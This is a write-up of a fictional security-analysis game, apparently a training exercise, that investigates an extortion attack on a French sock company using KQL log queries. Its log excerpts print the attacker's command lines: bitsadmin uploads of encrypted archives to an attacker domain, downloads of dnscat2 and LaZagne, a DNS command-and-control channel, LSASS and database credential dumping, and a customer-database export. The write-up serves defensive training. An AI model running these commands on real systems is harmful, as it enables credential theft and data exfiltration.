French Socksess Story

As is often the case, players take on the role of a rookie security analyst tasked with investigating a cyber attack against a company, this time a French fashion company specializing in socks, named Jus de Chaussette. While previous cases implied or outright stated you were an employee for those companies, this might be the first time you take on the role of an analyst interning at an specialized (unnamed) cybersecurity firm. I thought that was neat.

Sections

Section 1 - Sock Savior

There was a meeting with the Jus de Chaussette staff regarding an alleged data breach they've suffered. According to an executive, they were sent an email--projected during the meeting--by a threat actor calling itself "The Sock Puppet Empire", which might be a pun on both Jus de Chaussette's leading product and online sock puppet accounts; they threaten to leak controversial information (allegedly dishonest practices involving outsourced labor) found while snooping the company's intranet and emails, and demand 2M EUR within the next 24 hours in exchange for their silence in the matter. The email's information is truncated except for its subject line and body, replicated below:

Pay up or the world will know your lies
Bonjour,
You, my dears, have been naughty. Lying is not a good look, non, non 😔

What would your lovely customers think of that? Such cruel betrayal. Maybe we ought to warn them 🤔? Show them the proof we found while snooping around your systems 🕵🏻?

Cover, you could buy our silence 🤫 For the very modest sum of 2,000,000€, your misbehaving will be our little secret, pinky swear.
If we haven't heard from you in the next 24 hours, we'll introduce your Indian friends to your customers. We bet your shareholders will be delighted 💸.
Tic tac, tic tac.

Yours truly,

The Sock Puppet Empire

Knowing the subject line is a good starting point for the investigation.

Email
| where subject =~ 'Pay up or the world will know your lies'
Query Results
timestamp sender reply_to recipient subject verdict link
2024-08-30 23:44:13.0000 theempireownsyou@proton.me theempireownsyou@proton.me brooke_entoe@jusdechaussette.fr Pay up or the world will know your lies CLEAN
2024-08-30 23:44:13.0000 theempireownsyou@proton.me theempireownsyou@proton.me cho_cetkipu@jusdechaussette.fr Pay up or the world will know your lies CLEAN
2024-08-30 23:44:13.0000 theempireownsyou@proton.me theempireownsyou@proton.me cho_cetkipu@jusdechaussette.fr Pay up or the world will know your lies CLEAN

Three emails, all sent at exactly the same time (twice to the same recipient). There are no outbound links or attachments according to the logs. The sender is theempireownsyou@proton.me and--following a quick lookup on the Employees table--the recipients are Cho Cetkipu (Chief Executive Officer) and Brooke Entoe (Chief Financial Officer). There are no other emails from this sender.

Since the threat actor outright admits to have stolen information--sensitive information regarding internal operations, particularly implying that the French-made socks aren't truly French--it wouldn't hurt to check if there are any suspicious processes in the CFO's and CEO's corporate devices.

Email
| where subject =~ 'Pay up or the world will know your lies'
| distinct recipient
| lookup Employees on $left.recipient == $right.email_addr
| distinct hostname
| lookup ProcessEvents on $left.hostname == $right.hostname
| where timestamp between (datetime(2024-08-30) .. datetime(2024-08-31))
and process_commandline !contains "WindowsApps" //get rid of the chaff
and process_commandline !contains "SystemApps" //get rid of the chaff
and process_commandline !contains "Edge" //get rid of the chaff
and process_commandline !contains "Teams" //get rid of the chaff
| sort by hostname, timestamp asc
Query Results
This table has been redacted; it only shows the most relevant findings, rather than the entire output of the KQL query above.
hostname timestamp parent_process_name parent_process_hash process_commandline process_name process_hash username
SCHR-MACHINE 2024-08-30 18:50:32.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net use Z: \\Server\Contracts\Hidden cmd.exe 636f48ad6d49c4430b1b62d75440af1fa4be8a80ca671a0e09df80d2ff8169b9 chcetkipu
SCHR-MACHINE 2024-08-30 19:12:50.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f xcopy /h /s /q Z: \\Server\Contracts\Hidden\* C:\Users\chcetkipu\Downloads\notfrench cmd.exe fe993e389b5a40faaa7d95cc49b94f561c45cc87708ad7b7fa236392c70563d8 chcetkipu
SCHR-MACHINE 2024-08-30 20:02:54.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f rar a -df -hp sn3@ky C:\Users\chcetkipu\Downloads\lies.rar C:\Users\chcetkipu\Downloads\notfrench cmd.exe e5240df94a26cf644dfa76fe2375bdeaf5fdab6c86264ac432ddae764de19de3 chcetkipu
SCHR-MACHINE 2024-08-30 20:51:45.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f bitsadmin /create stomping cmd.exe 8203b26256dc4b08ace6efce038be956abe493f3d8ebae164ab3ca8c6d77f76b chcetkipu
SCHR-MACHINE 2024-08-30 21:05:58.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f bitsadmin /transfer stomping /upload https://liarliarsocksonfire.net/wegotthegoods/lies.rar C:\Users\chcetkipu\downloads\lies.rar cmd.exe 5aa062c56adfe2c74e934dcd2eb008b75145279f2520223fd45b904052d403b0 chcetkipu
SCHR-MACHINE 2024-08-30 21:37:32.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f bitsadmin /complete stomping cmd.exe fe8f699de349c1c6a69e52f771fb1c80bc9741d9c2bafea70e680dab45815c42 chcetkipu
9RGD-MACHINE 2024-08-30 18:50:58.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net use Z: \\\\Server\\Contracts\\Hidden cmd.exe ec9f8551c3fe2f1a8f5c244fd81a4ae877ed25c9fcc0cf5bb299241c9763e1e0 brentoe
9RGD-MACHINE 2024-08-30 19:11:44.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f xcopy /h /s /q Z: \\\\Server\\Contracts\\Hidden\\* C:\\Users\\brentoe\\Downloads\\notfrench cmd.exe 9956513bc59d6e3694635cc2699dcc99d181744e90e9bd782f01a516a4cb3884 brentoe
9RGD-MACHINE 2024-08-30 19:44:10.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f rar a -df -hp sn3@ky C:\Users\brentoe\Downloads\lies.rar C:\Users\brentoe\Downloads\notfrench cmd.exe a0f4306ed63947c325a587c829502949b4c99deacbda7b059d8195bf85194861 brentoe
9RGD-MACHINE 2024-08-30 20:06:18.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f bitsadmin /create stomping cmd.exe e5218e2c06b998d67eda8bc6f76f547b0687b0eaf086ac24092472917931f915 brentoe
9RGD-MACHINE 2024-08-30 20:48:48.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f bitsadmin /transfer stomping /upload https://liarliarsocksonfire.net/wegotthegoods/lies.rar C:\Users\brentoe\downloads\lies.rar cmd.exe 127958042e9c97b4367984d99fcfb9123d8ef4e4aab1b51e0b05f285967af406 brentoe
9RGD-MACHINE 2024-08-30 21:06:56.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f bitsadmin /complete stomping cmd.exe 87a4a7883492915222e27633fca70ddcffbc039636e60c1272d711a84b5b59a5 brentoe

The first command they run is net use Z: \\Server\Contracts\Hidden in order to connect to the intranet's hidden contracts directory, assigning it the drive letter Z: [Microsoft Learn]. Then, they use xcopy to recursively copy all the contents of said directory to the notfrench directory, located in the target's Downloads directory; the flags used are:

  • /h: Copies files with hidden and system file attributes. By default, xcopy doesn't copy hidden or system files.
  • /s: Copies directories and subdirectories, unless they're empty. If you omit /s, xcopy works within a single directory.
  • /q: Suppresses the display of xcopy messages.

[Microsoft Learn]. This is followed by the rar command with a specific set of switches: rar a -df -hp sn3@ky, meaning, in order:

  • a: a command, per WinRAR's docs, to add files to an archive.
  • -df: a switch, per WinRAR's docs, to delete files after archiving.
  • -hp: a switch, per WinRAR's docs, to encrypt both file data and headers. The password is sn3@ky.

The resulting archive is lies.rar. Now, with their desired information packaged and ready to go, they use a command I hadn't seen used before: bitsadmin, which refers to Windows' built-in Background Intelligent Transfer Service (BITS). It can create, upload, download and monitor jobs [Microsoft Learn]. In order:

  1. bitsadmin /create stomping: create a job called stomping
  2. bitsadmin /transfer stomping /upload https://liarliarsocksonfire.net/wegotthegoods/lies.rar C:\Users\brentoe\downloads\lies.rar: Transfer one or more files. [Microsoft Learn]. The type of transfer is an upload i.e. exfiltrate the data to the threat actor's servers
  3. bitsadmin /complete stomping: set the job as complete, making all files available. [Microsoft Learn]

To reveal more of the threat actor's infrastructure, I do a series of recursive lookups against the PassiveDns table:

PassiveDns
| where domain == "liarliarsocksonfire.net"
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain
Query Results
domain
thesockwhisperer.com
liarliarsocksonfire.net

The threat actor has two distinct domains; further recursive lookups do not reveal any others. These domains, in turn, lead to these IP addresses:

PassiveDns
| where domain == "liarliarsocksonfire.net"
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip
Query Results
ip
45.134.232.69
193.233.125.78
8.95.2.97

The threat actor has three distinct IP addresses; further recursive lookups do not reveal any others.

Before checking if anyone else has strange processes on their devices, I wanted to take a look at any possible connections made by these IP addresses (or to these domains). I'll start with checking for any emails containing links to this domain:

let bad_domains =
PassiveDns
| where domain == "liarliarsocksonfire.net"
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain;
let bad_ips =
PassiveDns
| where domain == "liarliarsocksonfire.net"
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip;
Email
| where tostring(parse_url(link).Host) in (bad_domains)
Query Results
timestamp sender reply_to recipient subject verdict link
2024-08-19 14:37:05.0000 mike_oz@jusdechaussette.fr mike_oz@jusdechaussette.fr cho_cetkipu@jusdechaussette.fr Le President loves our latest design! Opportunity for presidential socks??? $$$$ CLEAN http://thesockwhisperer.com/images/modules/public/decision.docx
2024-08-19 14:37:05.0000 mike_oz@jusdechaussette.fr mike_oz@jusdechaussette.fr cho_cetkipu@jusdechaussette.fr Le President loves our latest design! Opportunity for presidential socks??? $$$$ CLEAN http://thesockwhisperer.com/images/modules/public/decision.docx
2024-08-19 14:37:05.0000 mike_oz@jusdechaussette.fr mike_oz@jusdechaussette.fr brooke_entoe@jusdechaussette.fr Le President loves our latest design! Opportunity for presidential socks??? $$$$ CLEAN http://thesockwhisperer.com/images/modules/public/decision.docx

Quite worriesome; Customer Service Pinky Toe Mike Oz--as confirmed with a lookup on the Employees table--sent phishing emails with download links to malicious documents; the domain is related to the threat actor (see [3] above). While there is always the possibility of an insider threat, it's just as likely (if not more so) that Mike Oz had his corporate account compromised. The affected users were CFO Brooke Entoe and CEO Cho Cetkipu.

Before examining Mike Oz further, I'll continue with the OutboundNetworkEvents table.

let bad_domains =
PassiveDns
| where domain == "liarliarsocksonfire.net"
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain;
let bad_ips =
PassiveDns
| where domain == "liarliarsocksonfire.net"
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip;
OutboundNetworkEvents
| where tostring(parse_url(url).Host) in (bad_domains)
| lookup Employees on $left.src_ip == $right.ip_addr
| distinct timestamp, method, src_ip, role, name, user_agent, url
Query Results
timestamp method src_ip role name user_agent url
2024-08-19 14:51:05.0000 GET 10.10.0.32 CFO Brooke Entoe Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 http://thesockwhisperer.com/images/modules/public/decision.docx
2024-08-19 15:09:05.0000 GET 10.10.0.2 CEO Cho Cetkipu Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 10.0; Trident/5.0) http://thesockwhisperer.com/images/modules/public/decision.docx
2024-08-19 15:10:05.0000 GET 10.10.0.2 CEO Cho Cetkipu Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 10.0; Trident/5.0) http://thesockwhisperer.com/images/modules/public/decision.docx

This unfortunately confirms that the CEO and CFO both clicked the link, and very likely downloaded the file and opened it. Before examining this further, I'd like to check on Mike Oz's device or emails for signs of threat actor activity; but before that, I want to check the InboundNetworkEvents table for any hints of recon the threat actors might've engaged in before this attack.

let bad_domains =
PassiveDns
| where domain == "liarliarsocksonfire.net"
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain;
let bad_ips =
PassiveDns
| where domain == "liarliarsocksonfire.net"
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip;
InboundNetworkEvents
| where src_ip in (bad_ips)
Query Results
timestamp method src_ip user_agent url referrer status_code
2024-08-18 00:00:00.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/search%3Ddoes%2Bthe%2BCEO%2Bwear%2Bhis%2Bown%2Bbrand%2Bof%2Bsocks https:jusdechaussette.fr/search 200
2024-08-18 13:52:06.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/search%3Dwho%2Bis%2Bthe%2Bgenius%2Bbehind%2Bthe%2Blatest%2Bdesign https:jusdechaussette.fr/search 200
2024-08-18 13:52:27.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/search%3Dhow%2Bto%2Bmake%2Ba%2Bcomplaint https:jusdechaussette.fr/search 200
2024-08-18 13:52:53.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/search%3Dhow%2Bto%2Bcontact%2Bcustomer%2Bservice https:jusdechaussette.fr/search 200
2024-08-18 13:53:46.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/search%3Dare%2Bthe%2Bsocks%2Breally%2Bthat%2Bcomfy https:jusdechaussette.fr/search 200
2024-08-18 13:54:07.0000 GET 8.95.2.97 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/gallery/fashion-show/you-wont-believe-who-cried-wearing-our-brand-new-socks https://www.linkedin.com 200
2024-08-18 13:55:04.0000 GET 193.233.125.78 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/blog/influencer-interviews/the-French-president-loves-us https://www.linkedin.com 200
2024-08-18 13:55:44.0000 GET 8.95.2.97 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/about/our-awesome-team/mascot https://www.linkedin.com 200
2024-08-18 13:56:09.0000 GET 193.233.125.78 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/about/our-awesome-team/customer-service-our-unsung-heroes https://www.linkedin.com 200
2024-08-18 13:56:25.0000 GET 193.233.125.78 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/career/why-we-are-so-great-to-work-at https://www.welcometothejungle.com 200
2024-08-18 13:56:49.0000 GET 8.95.2.97 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/career/join-us/baby-steps https://www.welcometothejungle.com 200
2024-08-18 13:57:23.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/career/join-us/opportunities https://www.welcometothejungle.com 200
2024-08-18 13:57:56.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/career/join-us/customer-service-role https://www.welcometothejungle.com 200
2024-08-18 13:58:40.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/search%3Dcustomer%2Bdatabase https:jusdechaussette.fr/search 200
2024-08-18 13:59:15.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/search%3Dcustomer%2BPII https:jusdechaussette.fr/search 200
2024-08-18 13:59:32.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/search%3Dmailing%2Blist https:jusdechaussette.fr/search 200
2024-08-18 14:00:14.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/search%3Dwhy%2Bare%2Bpeople%2Bposting%2Btheir%2Bfeet%2Bon%2Bthis%2Bwebsite%2Bomg https:jusdechaussette.fr/search 200
2024-08-18 14:00:51.0000 GET 193.233.125.78 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/contact/customer-service/contact-form https://duckduckgo.com 200
2024-08-18 14:01:33.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/contact/customer-service/contact-form/upload https://instructure.com 200
2024-08-18 14:02:13.0000 GET 193.233.125.78 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/contact/customer-service/contact-form/upload%3Dholesinmysocks.jpeg https://office.com 200
2024-08-18 14:02:52.0000 GET 193.233.125.78 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/contact/customer-service/contact-form/upload%3Dholesinmysocks.jpeg%26status%3Dsuccess https://ebay.com 200
2024-08-18 14:03:29.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/search%3Dshady%2Bdeals https:jusdechaussette.fr/search 200
2024-08-18 14:40:29.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/search%3Dcotton%2Borigin https:jusdechaussette.fr/search 200
2024-08-18 14:41:29.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/search%3Dthe%2Bsock%2Bis%2Ba%2Blie https:jusdechaussette.fr/search 200
2024-08-18 15:26:29.0000 GET 45.134.232.69 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_5 rv:3.0; el-CY) AppleWebKit/534.42.3 (KHTML, like Gecko) Version/4.1 Safari/534.42.3 https://jusdechaussette.fr/search%3DCho%2BCetkipu%2Bis%2Ba%2Bfraud https:jusdechaussette.fr/search 200

The queries are for a variety of things, including casting doubt on the quality of Jus de Chaussette's product, checking articles on the French President's endorsement of the brand, how to file a complaint, how to contact customer service (which would include Mike Oz), trying to find the customer database or any customer PII in the Jus de Chaussette servers, and any mailing lists the company may have. They eventually find a link to a Contact Form, in which they upload a file named holesinmysocks.jpeg on 2024-08-18 at 14:02:52 in the afternoon--the day before "Mike Oz" sent the first email to the CFO. Even after that, there are queries questioning the sourcing of the cotton used for manufacturing the socks.

With such a clear hint of what happened, I checked what happened in Mike Oz's device around the time the holesinmysocks.jpeg file was downloaded to their computer--since their account was compromised, it's likely because this file dropped something on their computer.

ProcessEvents
| where username == "mioz"
| where timestamp >= datetime(2024-08-18 14:02:52.0000)
| where process_commandline !contains "Edge"
and process_commandline !contains "Teams"
and process_commandline !contains "WindowsApps"
and process_commandline !contains "SystemApps"
Query Results
This table has been redacted; it only shows the most relevant findings, rather than the entire output of the KQL query above.
timestamp parent_process_name parent_process_hash process_commandline process_name process_hash hostname username
2024-08-18 16:10:29.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f holesinmysocks.jpeg explorer.exe 042d1eb353c966938bf93fdf56a37a088a918bee219e8384092c09b4dacab0d9 7SSS-DESKTOP mioz
2024-08-18 16:58:29.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Invoke-WebRequest -Uri https://downloads.skullsecurity.org/dnscat2.zip -OutFile C:\Users\mioz\downloads\dnscat2.zip powershell.exe eac2546a14f9284b0ffbb4f4c0e6fd00cd9fc1f15e3b6194cdb10ab76a886fb7 7SSS-DESKTOP mioz
2024-08-18 16:59:29.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f ./dnscat2 thesockwhisperer.com cmd.exe 9c3f630fb85b0616d818c52497abd1813b13aeecc2db11b964fcd9972ef007a1 7SSS-DESKTOP mioz
2024-08-18 17:16:33.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f whoami cmd.exe e1b705ffe75332c1f251c2e8f16301fd0fd5fc66750d0c434a24977733028986 7SSS-DESKTOP mioz
2024-08-18 17:30:29.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Invoke-WebRequest -Uri https://github.com/AlessandroZ/LaZagne/download/laZagne.exe -OutFile C:\Users\mioz\downloads\laZagne.exe powershell.exe fa41e3f1a707893875af72648169f5e84ab5bea98290dd1e356404ab773eb77a 7SSS-DESKTOP mioz
2024-08-18 17:34:33.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net user cmd.exe ee8f750c27018f14046a3897e82191ea94890978fdd7b3a1a3261b6dc7eda66c 7SSS-DESKTOP mioz
2024-08-18 18:20:33.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net view cmd.exe ffb5a555bc34c7c26e7d36c1bd6427ce1671f294ead302e7fdc4873c67f43064 7SSS-DESKTOP mioz
2024-08-18 19:17:33.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net share cmd.exe c8ba941326467c712e4459d3306680ff8bf5f805984b7964cc33473f2ac54697 7SSS-DESKTOP mioz
2024-08-18 19:55:33.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f wmic product get name cmd.exe 94ba1ae4cd17e7a8be724adfc48a46f635e0b5893ed1220f39b62299af73ba40 7SSS-DESKTOP mioz
2024-08-18 20:13:17.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f LaZagne.exe databases -dbvis cmd.exe ba92a9eb09254b381a5e967b2ea019ed9fc3ae9e6c6ae2819231bf7dd8f8037b 7SSS-DESKTOP mioz
2024-08-18 20:46:27.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f LaZagne.exe windows -pypykatz -oN -output C:\Users\mioz\Downloads\creds.txt cmd.exe c7c8341af8569ea82e372f50d670ccbde206027eb3891dedf298033be18aff09 7SSS-DESKTOP mioz
2024-08-18 21:34:16.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f @export on; @export set filename="C:\Users\mioz\Downloads\Customers.csv"; select * from Customers; @export off; dbviscmd.bat b9415aa8f4f64e2716e045a5e27e2485c923729fcaf59d48cefa6b0fa24a30e1 7SSS-DESKTOP mioz
2024-08-19 12:37:12.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f rar a -df -hp sn3@ky C:\Users\mioz\Downloads\feetlover.rar C:\Users\mioz\Downloads\Customers.csv cmd.exe a4d1c3a067cd6e3f4cfa6b78e858d65529b4892a72f5c82c392dd25885e48c74 7SSS-DESKTOP mioz
2024-08-19 13:29:46.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f bitsadmin /create tiptoeing cmd.exe 0ef95713a7fba8297b48a02b6279af2d0148c0e10b12a87d3899dea92a8bae34 7SSS-DESKTOP mioz
2024-08-19 13:32:18.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f bitsadmin /transfer tiptoeing /upload https://liarliarsocksonfire.net/wegotthegoods/feetlover.rar C:\Users\mioz\downloads\feetlover.rar cmd.exe 79101b1b0faec987268ad690b7ddd6078afb6c2466dc2957155617c1d936dfbb 7SSS-DESKTOP mioz
2024-08-19 13:36:29.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f bitsadmin /complete tiptoeing cmd.exe d55ecd15b8ac05d72cf1d15d94bd1b570215dec19a631e8a3d67cff96fa1e864 7SSS-DESKTOP mioz

This file turns out not to be an image file at all, but rather a text file masquerading as one. After the target opens the malicious .jpeg file...

  1. ...a PowerShell script is dropped (named talking_socks.ps1, as confirmed in FileCreationEvents) and executed.
  2. This, in turn, downloads, extracts and executes dnscat2 from downloads.skullsecurity.org. This is a legitimate tool by Ron Bowes (iagox86 on GitHub), described on its GitHub page as a tool designed to create an encrypted command-and-control (C&C) channel over the DNS protocol, which is an effective tunnel out of almost every network; the tool is used to create said encrypted C2 channel on Mike Oz's computer, granting hands-on-keyboard access.
  3. They use this access to first run whoami, a discovery command.
  4. This is followed by downloading LaZagne off its Github page in the same manner as dnscat2. This is an open source application used to retrieve lots of passwords stored on a local computer.
  5. They follow this by a standard set of discovery commands: net user, net view, net share, wmic product get name, the latter gets the name of all installed software; wmic was a command line tool for Windows Management Instrumentation (WMI) [Microsoft Learn], and using this command, they can learn things such as database software being used.
  6. Afterwards, they use LaZagne to dump credentials for the databases and any credentials off LSASS (Local Security Authority Server Service), which saves credentials in memory [Microsoft Learn].
  7. Finally, they run dbviscmd.bat (a legitimate command line interface for DbVisualizer) to dump the Customers database contents to a file named Customers.csv, which is likely full of sensitive data.

Afterwards, they use the same rar as before (see [2]) to compress and encrypt the file before uploading it to their server using bitsadmin.

Since there are no other signs of activity in Mike Oz's computer, it's time to pivot to checking the CFO and CEO's devices, seeing how they downloaded malicious files sent by "Mike Oz" (see [6]).

FileCreationEvents
| where filename =~ "decision.docx"
Query Results
This table has been redacted; it only shows the most relevant findings, rather than the entire output of the KQL query above.
hostname timestamp parent_process_name parent_process_hash process_commandline process_name process_hash username
SCHR-MACHINE 2024-08-19 15:10:12.0000 Explorer.exe e84012727be100a14d8da8fae31d92ec76d449c82d361acbb852ad9afa1d9328 "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" "C:\Users\chcetkipu\Downloads\decision.docx" WINWORD.EXE 00e659e3b539afbfbd94c5b886d87e5b4b29cc9c6344b207080a2b580cd07259 chcetkipu
SCHR-MACHINE 2024-08-19 15:10:13.0000 WINWORD.EXE 9e08a6bd9b47a4a9f88ca7d3f4e15bf5fe374dfb856d8ec4768c9f41b54c9547 C:\Users\chcetkipu\Downloads\talking_socks.ps1 talking_socks.ps1 27d875b422f0bc7a339184f557f2fe65c9a208f752f03bae2ffeaecfbf454b1c chcetkipu
SCHR-MACHINE 2024-08-19 15:20:49.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Invoke-WebRequest -Uri https://downloads.skullsecurity.org/dnscat2.zip -OutFile C:\Users\chcetkipu\downloads\dnscat2.zip powershell.exe ca51d0a0b66372e883777a172bba8a170de7ba6fc1ab6d6be7a2fa26b125758c chcetkipu
